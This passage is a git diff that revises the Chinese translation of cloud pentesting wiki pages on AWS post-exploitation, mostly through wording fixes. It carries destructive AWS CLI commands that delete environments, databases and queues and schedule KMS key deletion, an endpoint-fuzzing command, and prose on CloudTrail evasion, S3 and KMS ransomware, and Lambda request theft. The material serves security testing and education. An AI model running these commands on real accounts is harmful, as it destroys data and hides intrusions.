端点** (如果你设法从 pod 获取了 JWT 令牌,请 [在这里](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) 阅读) 和 **集群的名称**。 在我的案例中,我没有在 CloudWatch 日志中找到信息,但我 **在 LaunchTemplates 的 userData 中找到了它**,并且在 **EC2 机器的 userData 中也找到了**。你可以很容易地在 **userData** 中看到这些信息,例如在下一个示例中(集群名称是 cluster-name): ```bash @@ -72,14 +72,14 @@ provideClusterInfo: false ### 从 AWS 到 Kubernetes -**EKS 集群**的**创建者****总是**能够进入**`system:masters`**组的 Kubernetes 集群部分(k8s 管理员)。在撰写本文时,**没有直接的方法**来查找**谁创建了**该集群(您可以检查 CloudTrail)。并且**无法****移除**该**权限**。 +**EKS 集群**的**创建者****总是**能够进入**`system:masters`**组的 Kubernetes 集群部分(k8s 管理员)。在撰写本文时,**没有直接的方法**来查找**谁创建了**该集群(您可以检查 CloudTrail)。并且**无法**去**移除**该**权限**。 授予**更多 AWS IAM 用户或角色对 K8s 的访问权限**的方法是使用**configmap** **`aws-auth`**。 > [!WARNING] -> 因此,任何对 config map **`aws-auth`**具有**写访问权限**的人都将能够**危害整个集群**。 +> 因此,任何对 config map **`aws-auth`**具有**写入权限**的人都将能够**危害整个集群**。 -有关如何在**同一或不同账户**中**授予 IAM 角色和用户额外权限**以及如何**滥用**此权限的更多信息,请查看[**privesc 检查此页面**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)。 +有关如何在**同一或不同账户**中**授予 IAM 角色和用户额外权限**以及如何**滥用**此权限的信息,请查看[**privesc 检查此页面**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)。 还可以查看[**这篇精彩的**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **文章以了解 IAM -> Kubernetes 的身份验证是如何工作的**。 @@ -93,7 +93,7 @@ provideClusterInfo: false ```bash https://...eks.amazonaws.com ``` -没有找到任何文档来解释“两个字符”和“数字”的标准。但我自己进行了一些测试,发现这些是重复出现的: +没有找到任何文档来解释“两个字符”和“数字”的标准。但根据我自己的测试,我发现这些是重复出现的: - gr7 - yl4 @@ -119,11 +119,11 @@ f.write('\n'.join(result)) wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com ``` > [!WARNING] -> 记得替换 & 。 +> 请记得替换 & 。 ### 绕过 CloudTrail -如果攻击者获得了具有 **EKS 权限** 的 AWS 凭证。如果攻击者配置自己的 **`kubeconfig`**(不调用 **`update-kubeconfig`**),如前所述,**`get-token`** 不会在 CloudTrail 中生成日志,因为它不与 AWS API 交互(它只是本地创建令牌)。 +如果攻击者获得了具有 **EKS 权限** 的 AWS 凭证。如果攻击者配置自己的 **`kubeconfig`**(不调用 **`update-kubeconfig`**),如前所述,**`get-token`** 不会在 Cloudtrail 中生成日志,因为它不与 AWS API 交互(它只是本地创建令牌)。 因此,当攻击者与 EKS 集群交互时,**cloudtrail 不会记录与被盗用户及其访问相关的任何内容**。 @@ -131,12 +131,12 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws ### EKS 勒索? -默认情况下,**创建**集群的 **用户或角色** **始终拥有集群的管理员权限**。这是 AWS 对 Kubernetes 集群的唯一“安全”访问。 +默认情况下,**创建**集群的 **用户或角色** **始终会拥有集群的管理员权限**。这是 AWS 对 Kubernetes 集群的唯一“安全”访问。 -因此,如果 **攻击者通过 Fargate 破坏了集群**,并 **删除了所有其他管理员**,并 **删除了创建**集群的 AWS 用户/角色,~~攻击者可能已经 **勒索了集群**~~**。 +因此,如果 **攻击者通过 fargate 破坏了集群**,并 **移除了所有其他管理员**,并 **删除了创建**集群的 AWS 用户/角色,~~攻击者可能已经 **勒索了集群**~~**。 > [!TIP] -> 请注意,如果集群使用 **EC2 虚拟机**,则可能从 **节点** 获取管理员权限并恢复集群。 +> 请注意,如果集群使用 **EC2 VMs**,则可能从 **节点** 获取管理员权限并恢复集群。 > > 实际上,如果集群使用 Fargate,您可以将 EC2 节点或将所有内容移动到 EC2 集群并通过访问节点中的令牌来恢复它。 diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 6bbb031b8..5e1ebb581 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -26,18 +26,18 @@ aws elasticbeanstalk delete-application-version --application-name my-app --vers > [!NOTE] > TODO: 测试是否需要更多权限 -拥有权限 `elasticbeanstalk:TerminateEnvironment` 的攻击者可以**终止现有的 Elastic Beanstalk 环境**,导致应用程序停机,并且如果环境未配置备份,可能会导致数据丢失。 +拥有权限 `elasticbeanstalk:TerminateEnvironment` 的攻击者可以 **终止现有的 Elastic Beanstalk 环境**,导致应用程序停机,并且如果环境未配置备份,可能会导致数据丢失。 ```bash aws elasticbeanstalk terminate-environment --environment-name my-existing-env ``` -**潜在影响**:应用程序的停机、潜在的数据丢失和服务中断。 +**潜在影响**:应用程序停机、潜在数据丢失和服务中断。 ### `elasticbeanstalk:DeleteApplication` > [!NOTE] > TODO: 测试是否需要更多权限 -拥有权限 `elasticbeanstalk:DeleteApplication` 的攻击者可以**删除整个 Elastic Beanstalk 应用程序**,包括其所有版本和环境。如果没有备份,此操作可能导致应用程序资源和配置的重大损失。 +拥有权限 `elasticbeanstalk:DeleteApplication` 的攻击者可以 **删除整个 Elastic Beanstalk 应用程序**,包括其所有版本和环境。如果没有备份,此操作可能导致应用程序资源和配置的重大损失。 ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` @@ -65,6 +65,6 @@ aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2: aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag ``` -**潜在影响**:由于添加或删除标签,导致资源分配、计费或资源管理不正确。 +**潜在影响**:由于添加或删除标签,导致资源分配、计费或资源管理不正确。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index 97a579f6c..b92737ba4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - IAM Post Exploitation +# AWS - IAM 后期利用 {{#include ../../../banners/hacktricks-training.md}} @@ -10,15 +10,15 @@ ../aws-services/aws-iam-enum.md {{#endref}} -## Confused Deputy Problem +## 混淆代理问题 如果您**允许一个外部账户 (A)** 访问您账户中的**角色**,您可能对**谁可以确切访问该外部账户**几乎没有**可见性**。这是一个问题,因为如果另一个外部账户 (B) 可以访问外部账户 (A),那么**B 也可能能够访问您的账户**。 -因此,在允许外部账户访问您账户中的角色时,可以指定一个 `ExternalId`。这是一个“秘密”字符串,外部账户 (A) **需要指定**以**假设您组织中的角色**。由于**外部账户 B 不会知道这个字符串**,即使他可以访问 A,他也**无法访问您的角色**。 +因此,当允许外部账户访问您账户中的角色时,可以指定一个 `ExternalId`。这是一个“秘密”字符串,外部账户 (A) **需要指定**以**假设您组织中的角色**。由于**外部账户 B 不知道这个字符串**,即使他可以访问 A,他也**无法访问您的角色**。
-但是,请注意,这个 `ExternalId` “秘密”**并不是秘密**,任何可以**读取 IAM 假设角色策略的人都能看到它**。但只要外部账户 A 知道它,而外部账户 **B 不知道它**,就**可以防止 B 利用 A 访问您的角色**。 +但是,请注意,这个 `ExternalId` “秘密”并**不是秘密**,任何可以**读取 IAM 假设角色策略的人都能看到它**。但只要外部账户 A 知道它,而外部账户 **B 不知道它**,就**可以防止 B 利用 A 访问您的角色**。 示例: ```json @@ -53,7 +53,7 @@ ``` 此策略**允许所有AWS**承担该角色。 -#### 服务作为主体 +#### 以服务为主体 ```json { "Action": "lambda:InvokeFunction", @@ -62,9 +62,9 @@ "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -此策略**允许任何账户**配置其 apigateway 以调用此 Lambda。 +此策略**允许任何账户**配置他们的apigateway以调用此Lambda。 -#### S3 作为主体 +#### S3作为主体 ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, @@ -73,7 +73,7 @@ } } ``` -如果将 S3 存储桶作为主体,因为 S3 存储桶没有账户 ID,如果你**删除了你的存储桶而攻击者在他们自己的账户中创建了它**,那么他们可能会利用这一点。 +如果将 S3 存储桶作为主体,因为 S3 存储桶没有账户 ID,如果你 **删除了你的存储桶,攻击者在他们自己的账户中创建了它**,那么他们可能会滥用这一点。 #### 不支持 ```json @@ -84,7 +84,7 @@ "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -避免 Confused Deputy 问题的常见方法是使用带有 `AWS:SourceArn` 的条件来检查源 ARN。然而,**某些服务可能不支持这一点**(根据一些来源,如 CloudTrail)。 +避免 Confused Deputy 问题的一个常见方法是使用带有 `AWS:SourceArn` 的条件来检查源 ARN。然而,**某些服务可能不支持这一点**(根据一些来源,CloudTrail 就是其中之一)。 ## References diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index d6bf5bc4c..f036418e3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -38,7 +38,7 @@ aws kms decrypt \ --query Plaintext | base64 \ --decode ``` -- 使用 **非对称** 密钥: +- 使用**非对称**密钥: ```bash # Encrypt data aws kms encrypt \ @@ -62,7 +62,7 @@ aws kms decrypt \ 拥有 KMS 特权访问权限的攻击者可以修改密钥的 KMS 策略并**授予他的账户访问权限**,同时移除授予合法账户的访问权限。 -这样,合法账户的用户将无法访问任何使用这些密钥加密的服务的信息,从而在账户上创建一个简单但有效的勒索软件。 +然后,合法账户的用户将无法访问任何使用这些密钥加密的服务的信息,从而在账户上创建一个简单但有效的勒索软件。 > [!WARNING] > 请注意,**AWS 管理的密钥不受此攻击影响**,只有**客户管理的密钥**。 @@ -100,10 +100,10 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ #### 全球 KMS 勒索软件 -执行全球 KMS 勒索软件还有另一种方法,涉及以下步骤: +还有另一种执行全球 KMS 勒索软件的方法,涉及以下步骤: -- 创建一个新的 **密钥,密钥材料由攻击者导入** -- **使用新密钥重新加密** 使用先前版本加密的旧数据。 +- 创建一个**由攻击者导入的密钥材料的新密钥** +- **使用新密钥重新加密**使用先前版本加密的旧数据。 - **删除 KMS 密钥** - 现在只有拥有原始密钥材料的攻击者才能解密加密数据 @@ -118,7 +118,7 @@ aws kms schedule-key-deletion \ --pending-window-in-days 7 ``` > [!CAUTION] -> 请注意,AWS 现在**防止从跨账户执行之前的操作:** +> 请注意,AWS 现在**阻止从跨账户执行之前的操作:**
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 1e2823a48..58b5481a8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -10,7 +10,7 @@ ../../aws-services/aws-lambda-enum.md {{#endref}} -### 窃取其他 Lambda URL 请求 +### 窃取其他用户的 Lambda URL 请求 如果攻击者以某种方式在 Lambda 内部获得 RCE,他将能够窃取其他用户对该 Lambda 的 HTTP 请求。如果请求包含敏感信息(cookies、凭证等),他将能够窃取这些信息。 @@ -18,7 +18,7 @@ aws-warm-lambda-persistence.md {{#endref}} -### 窃取其他 Lambda URL 请求和扩展请求 +### 窃取其他用户的 Lambda URL 请求和扩展请求 滥用 Lambda Layers 也可以滥用扩展并在 Lambda 中持久化,同时窃取和修改请求。 diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index 427cd8026..eb0d59551 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -6,7 +6,7 @@

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

-1. **Slicer** 是一个在容器外部的进程,它 **发送** **调用** 到 **init** 进程。 +1. **Slicer** 是一个在容器外部的进程,**发送** **调用** 到 **init** 进程。 2. init 进程监听端口 **9001**,暴露一些有趣的端点: - **`/2018-06-01/runtime/invocation/next`** – 获取下一个调用事件 - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – 返回调用的处理程序响应 @@ -18,13 +18,13 @@ ## Stealing Lambda Requests -此次攻击的目标是让用户代码在处理易受攻击请求的 **`bootstrap.py`** 进程内部执行一个恶意的 **`bootstrap.py`** 进程。这样,**恶意 bootstrap** 进程将开始 **与 init 进程通信** 以处理请求,而 **合法** 的 bootstrap 被 **困住** 运行恶意进程,因此它不会向 init 进程请求请求。 +此攻击的目标是使用户代码在处理易受攻击请求的 **`bootstrap.py`** 进程内部执行一个恶意的 **`bootstrap.py`** 进程。这样,**恶意 bootstrap** 进程将开始 **与 init 进程通信** 以处理请求,而 **合法** 的 bootstrap 被 **困住** 运行恶意进程,因此它不会向 init 进程请求请求。 这是一个简单的任务,因为用户的代码是由合法的 **`bootstrap.py`** 进程执行的。因此攻击者可以: -- **向 init 进程发送当前调用的假结果**,使 init 认为 bootstrap 进程在等待更多调用。 +- **向 init 进程发送当前调用的假结果**,使 init 认为 bootstrap 进程正在等待更多调用。 - 必须向 **`/${invoke-id}/response`** 发送请求 -- invoke-id 可以通过使用 [**inspect**](https://docs.python.org/3/library/inspect.html) python 模块从合法的 **`bootstrap.py`** 进程的堆栈中获取(如 [这里所提议](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py))或再次请求 **`/2018-06-01/runtime/invocation/next`**(如 [这里所提议](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py))。 +- invoke-id 可以通过使用 [**inspect**](https://docs.python.org/3/library/inspect.html) python 模块从合法的 **`bootstrap.py`** 进程的堆栈中获取(如 [这里所提议的](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py))或再次请求 **`/2018-06-01/runtime/invocation/next`**(如 [这里所提议的](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py))。 - 执行一个恶意的 **`boostrap.py`**,它将处理下一个调用 - 为了隐蔽性,可以将 lambda 调用参数发送到攻击者控制的 C2,然后像往常一样处理请求。 - 对于此攻击,只需从系统或 [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) 获取原始的 **`bootstrap.py`** 代码,添加恶意代码并从当前 lambda 调用中运行它即可。 diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md index 10660b01d..8d26299d6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md @@ -12,16 +12,16 @@ ### 恢复旧的数据库快照 -如果数据库有快照,您可能能够**找到当前已删除的敏感信息在旧快照中**。**恢复**快照到**新数据库**并检查。 +如果数据库有快照,您可能能够**找到当前已删除的敏感信息在旧快照中**。**恢复**快照到**新数据库**并进行检查。 ### 恢复实例快照 -实例快照可能包含**已删除实例的敏感信息**或当前实例中已删除的敏感信息。**从快照创建新实例**并检查它们。\ -或者**将快照导出到EC2中的AMI**并按照典型EC2实例的步骤进行操作。 +实例快照可能包含**已删除实例的敏感信息**或当前实例中已删除的敏感信息。**从快照创建新实例**并进行检查。\ +或者**将快照导出到 EC2 中的 AMI**,并按照典型 EC2 实例的步骤进行操作。 ### 访问敏感信息 -查看Lightsail特权提升选项以了解访问潜在敏感信息的不同方法: +查看 Lightsail 权限提升选项,以了解访问潜在敏感信息的不同方法: {{#ref}} ../aws-privilege-escalation/aws-lightsail-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md index 277fd6586..cd2513f63 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md @@ -1,8 +1,8 @@ -# AWS - Organizations Post Exploitation +# AWS - 组织后渗透 {{#include ../../../banners/hacktricks-training.md}} -## Organizations +## 组织 有关 AWS Organizations 的更多信息,请查看: @@ -10,7 +10,7 @@ ../aws-services/aws-organizations-enum.md {{#endref}} -### Leave the Org +### 离开组织 ```bash aws organizations deregister-account --account-id --region ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index d6e46c7e8..2d7ba7731 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -61,7 +61,7 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance -- ### `rds:DeleteDBInstance` -拥有这些权限的攻击者可以**对现有的 RDS 实例进行 DoS 攻击**。 +具有这些权限的攻击者可以**对现有的 RDS 实例进行 DoS 攻击**。 ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index bc8756e3b..ec7c4a247 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -12,26 +12,26 @@ ### 敏感信息 -有时您可以在存储桶中找到可读的敏感信息。例如,terraform 状态机密。 +有时您可以在可读的桶中找到敏感信息。例如,terraform 状态机密。 -### 侧向渗透 +### 侧向移动 -不同的平台可能会使用 S3 存储敏感资产。\ -例如,**airflow** 可能会在其中存储 **DAGs** **代码**,或者 **网页** 可能会直接从 S3 提供服务。具有写入权限的攻击者可以 **修改存储桶中的代码** 以 **侧向渗透** 到其他平台,或 **接管账户** 修改 JS 文件。 +不同的平台可能使用 S3 存储敏感资产。\ +例如,**airflow** 可能在其中存储 **DAGs** **代码**,或者 **网页** 可能直接从 S3 提供服务。具有写入权限的攻击者可以 **修改桶中的代码** 以 **侧向移动** 到其他平台,或 **接管账户** 修改 JS 文件。 ### S3 勒索软件 -在这种情况下,**攻击者在他们自己的 AWS 账户** 或另一个被攻陷的账户中创建一个 KMS(密钥管理服务)密钥。然后,他们使这个 **密钥对全世界的任何人可用**,允许任何 AWS 用户、角色或账户使用此密钥加密对象。然而,这些对象无法被解密。 +在这种情况下,**攻击者在他们自己的 AWS 账户** 或另一个被攻陷的账户中创建一个 KMS(密钥管理服务)密钥。然后,他们使这个 **密钥对全世界可用**,允许任何 AWS 用户、角色或账户使用此密钥加密对象。然而,这些对象无法被解密。 -攻击者识别一个目标 **S3 存储桶并获得写入级别的访问权限**,使用各种方法。这可能是由于糟糕的存储桶配置使其公开可见,或者攻击者获得了 AWS 环境本身的访问权限。攻击者通常针对包含敏感信息的存储桶,例如个人身份信息(PII)、受保护的健康信息(PHI)、日志、备份等。 +攻击者识别一个目标 **S3 桶并获得写入级别的访问权限**,使用各种方法。这可能是由于糟糕的桶配置使其公开可见,或者攻击者获得了 AWS 环境本身的访问权限。攻击者通常针对包含敏感信息的桶,例如个人可识别信息(PII)、受保护的健康信息(PHI)、日志、备份等。 -为了确定存储桶是否可以被用作勒索软件的目标,攻击者检查其配置。这包括验证是否启用了 **S3 对象版本控制** 和 **多因素身份验证删除(MFA 删除)是否启用**。如果未启用对象版本控制,攻击者可以继续。如果启用了对象版本控制但未启用 MFA 删除,攻击者可以 **禁用对象版本控制**。如果同时启用了对象版本控制和 MFA 删除,攻击者就更难对该特定存储桶进行勒索软件攻击。 +为了确定桶是否可以被用作勒索软件的目标,攻击者检查其配置。这包括验证是否启用了 **S3 对象版本控制** 和 **多因素身份验证删除(MFA 删除)是否启用**。如果未启用对象版本控制,攻击者可以继续。如果启用了对象版本控制但 MFA 删除被禁用,攻击者可以 **禁用对象版本控制**。如果同时启用了对象版本控制和 MFA 删除,攻击者对该特定桶进行勒索软件攻击将变得更加困难。 -使用 AWS API,攻击者 **用他们的 KMS 密钥替换存储桶中的每个对象为加密副本**。这有效地加密了存储桶中的数据,使其在没有密钥的情况下无法访问。 +使用 AWS API,攻击者 **用他们的 KMS 密钥替换桶中的每个对象为加密副本**。这有效地加密了桶中的数据,使其在没有密钥的情况下无法访问。 -为了施加更大的压力,攻击者安排删除在攻击中使用的 KMS 密钥。这给目标提供了 7 天的时间窗口,以在密钥被删除之前恢复他们的数据,之后数据将永久丢失。 +为了施加进一步的压力,攻击者安排删除用于攻击的 KMS 密钥。这给目标提供了 7 天的时间窗口来恢复他们的数据,然后密钥将被删除,数据将永久丢失。 -最后,攻击者可以上传一个最终文件,通常命名为 "ransom-note.txt",其中包含目标如何检索其文件的说明。该文件未加密上传,可能是为了引起目标的注意并让他们意识到勒索软件攻击。 +最后,攻击者可以上传一个最终文件,通常命名为 "ransom-note.txt",其中包含目标如何检索其文件的说明。该文件未加密上传,可能是为了引起目标的注意并使他们意识到勒索软件攻击。 **有关更多信息** [**请查看原始研究**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**。** diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index c89233c99..77d90a168 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -32,9 +32,9 @@ aws secretsmanager update-secret \ --secret-id MyTestSecret \ --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE ``` -### DoS 删除秘密 +### DoS 删除密钥 -删除秘密的最少天数为 7 +删除密钥的最少天数为 7 天 ```bash aws secretsmanager delete-secret \ --secret-id MyTestSecret \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index ddbae9a7f..6c4501b44 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -59,7 +59,7 @@ aws ses send-bounce --original-message-id --bounce-sender --boun ### `ses:SendCustomVerificationEmail` -这将发送一封自定义验证电子邮件。您可能还需要权限来创建模板电子邮件。 +这将发送一封定制的验证电子邮件。您可能还需要权限来创建模板电子邮件。 ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index 907f786f3..5c70106de 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - SNS Post Exploitation +# AWS - SNS 后期利用 {{#include ../../../banners/hacktricks-training.md}} @@ -40,7 +40,7 @@ aws sns set-topic-attributes --topic-arn --attribute-name --attr ### `sns:Subscribe` , `sns:Unsubscribe` -攻击者可以订阅或取消订阅SNS主题,可能会获得对消息的未经授权访问或干扰依赖该主题的应用程序的正常功能。 +攻击者可能会订阅或取消订阅SNS主题,从而可能获得对消息的未经授权访问或干扰依赖该主题的应用程序的正常功能。 ```bash aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index f0ff235b8..d1eb80409 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -17,7 +17,7 @@ aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` -**潜在影响**:漏洞利用,数据损坏,意外操作或资源耗尽。 +**潜在影响**:漏洞利用、数据损坏、意外操作或资源耗尽。 ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` @@ -35,11 +35,11 @@ aws sqs change-message-visibility --queue-url --receipt-handle - ```arduino Copy codeaws sqs delete-queue --queue-url ``` -**潜在影响**:使用已删除队列的应用程序可能会出现消息丢失和服务中断。 +**潜在影响**:使用已删除队列的应用程序可能会丢失消息和服务中断。 ### `sqs:PurgeQueue` -攻击者可以清除 SQS 队列中的所有消息,从而导致消息丢失和依赖这些消息的应用程序可能出现中断。 +攻击者可以清除 SQS 队列中的所有消息,从而导致消息丢失和依赖这些消息的应用程序可能中断。 ```arduino Copy codeaws sqs purge-queue --queue-url ``` @@ -47,7 +47,7 @@ Copy codeaws sqs purge-queue --queue-url ### `sqs:SetQueueAttributes` -攻击者可以修改SQS队列的属性,可能会影响其性能、安全性或可用性。 +攻击者可能会修改 SQS 队列的属性,从而可能影响其性能、安全性或可用性。 ```arduino aws sqs set-queue-attributes --queue-url --attributes ``` @@ -55,7 +55,7 @@ aws sqs set-queue-attributes --queue-url --attributes ### `sqs:TagQueue` , `sqs:UntagQueue` -攻击者可以添加、修改或删除SQS资源的标签,从而干扰您组织基于标签的成本分配、资源跟踪和访问控制策略。 +攻击者可以添加、修改或删除 SQS 资源的标签,从而干扰您组织基于标签的成本分配、资源跟踪和访问控制策略。 ```bash aws sqs tag-queue --queue-url --tags Key=,Value= aws sqs untag-queue --queue-url --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 1725cdbd1..a8c612bf1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - Step Functions 后期利用 +# AWS - Step Functions Post Exploitation {{#include ../../../banners/hacktricks-training.md}} @@ -24,7 +24,7 @@ > > - 删除状态机时,您还会删除其所有关联的版本和别名。 > - 删除状态机别名时,您不会删除引用此别名的状态机版本。 -> - 当前引用一个或多个别名的状态机版本无法删除。 +> - 当前引用一个或多个别名的状态机版本无法被删除。 ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -37,15 +37,15 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn ### `states:UpdateMapRun` -拥有此权限的攻击者将能够操纵 Map Run 失败配置和并行设置,能够增加或减少允许的最大子工作流执行数量,直接影响服务的性能。此外,攻击者还可以篡改容忍的失败百分比和计数,能够将此值减少到 0,这样每当一个项目失败时,整个 map run 将失败,直接影响状态机执行,并可能中断关键工作流程。 +拥有此权限的攻击者将能够操纵 Map Run 失败配置和并行设置,能够增加或减少允许的子工作流执行的最大数量,直接影响服务的性能。此外,攻击者可以篡改容忍的失败百分比和计数,能够将此值减少到 0,这样每当一个项目失败时,整个地图运行将失败,直接影响状态机执行,并可能中断关键工作流程。 ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` -- **潜在影响**:性能下降,以及关键工作流程的中断。 +- **潜在影响**: 性能下降,以及关键工作流程的中断。 ### `states:StopExecution` -拥有此权限的攻击者可能能够停止任何状态机的执行,从而中断正在进行的工作流程和过程。这可能导致交易不完整、业务操作中断以及潜在的数据损坏。 +拥有此权限的攻击者可能能够停止任何状态机的执行,从而干扰正在进行的工作流程和过程。这可能导致交易不完整、业务操作中断以及潜在的数据损坏。 > [!WARNING] > 此操作不支持 **express state machines**。 diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index 088234be1..6ab5ea727 100644 --- 